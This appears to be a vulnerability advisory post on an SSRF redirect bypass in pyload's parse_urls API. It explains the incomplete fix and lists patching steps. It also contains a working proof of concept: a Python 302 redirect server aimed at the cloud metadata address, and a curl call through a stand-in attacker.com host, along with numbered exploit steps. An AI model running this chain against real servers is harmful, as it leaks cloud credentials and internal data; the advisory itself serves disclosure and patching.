Listen to this Post
How the mentioned CVE works:
The SSRF mitigation added in commit 33c55da for GHSA-7gvf-3w72-p2pg was incomplete. The `parse_urls` API validates the initial URL hostname using is_global_host(), allowing only public IPs. However, the `get_url()` function creates an `HTTPRequest` with `allow_private_ip = True` by default. The `HTTPRequest` enables redirect following (FOLLOWLOCATION=1, MAXREDIRS=10). The `_pre_request_callback` that should block redirects to private IPs is a no‑op when `allow_private_ip` is True. The fix correctly set `allow_private_ip = False` in `HTTPChunk` (download path) but not in `HTTPRequest` used by RequestFactory.get_url(). An authenticated attacker with ADD permission supplies a URL pointing to an attacker‑controlled server that responds with a 302 redirect to an internal/private IP (e.g., cloud metadata endpoint). The initial URL passes is_global_host(). `pycurl` follows the redirect, and because `allow_private_ip` remains True, the private IP check is skipped. The response body is parsed by RE_URLMATCH, and any URL‑like strings (including cloud metadata) are returned to the attacker. This bypasses the intended SSRF protection.
dailycve form:
Platform: pyload (unpatched)
Version: pre-33c55da commits
Vulnerability: SSRF via redirect
Severity: Medium
date: 2026-05-21
Prediction: Immediate (commit 33c55da+)
What Undercode Say:
Analytics:
Verify incomplete fix: HTTPRequest still allows private IPs
grep -n "allow_private_ip = True" src/pyload/core/network/http/http_request.py
Check that HTTPChunk disables private IPs
grep -n "allow_private_ip = False" src/pyload/core/network/http_chunk.py
Simulate redirect-based SSRF against metadata
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class R(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8888), R).serve_forever()
" &
Authenticated API call to trigger SSRF
curl -X POST 'http://pyload-host:8000/api/parse_urls' \
-H 'Cookie: session=<valid_session>' \
-d 'url=http://attacker.com:8888/redirect'
Exploit:
1. Attacker hosts a 302 redirect server.
2. Attacker authenticates to pyload with ADD permission.
3. Attacker calls `/api/parse_urls` with attacker‑controlled URL.
- pyload validates public hostname, then follows redirect to private IP.
- Response from internal service (e.g., AWS metadata) is returned.
Protection from this CVE:
- Set `allow_private_ip = False` in `RequestFactory.get_url()` (targeted fix).
- Alternatively change default in `HTTPRequest.__init__` to `False` (secure by default, but audit callers).
- Upgrade to pyload version containing full fix (post‑commit 33c55da with HTTPRequest fixed).
Impact:
- Leak cloud metadata (IAM credentials, secrets) from AWS (169.254.169.254), GCP, Azure.
- Scan/internal services on private networks (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
- Access localhost services (127.0.0.1) on the pyload server.
- Exfiltration limited by `RE_URLMATCH` regex, but cloud metadata often matches.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
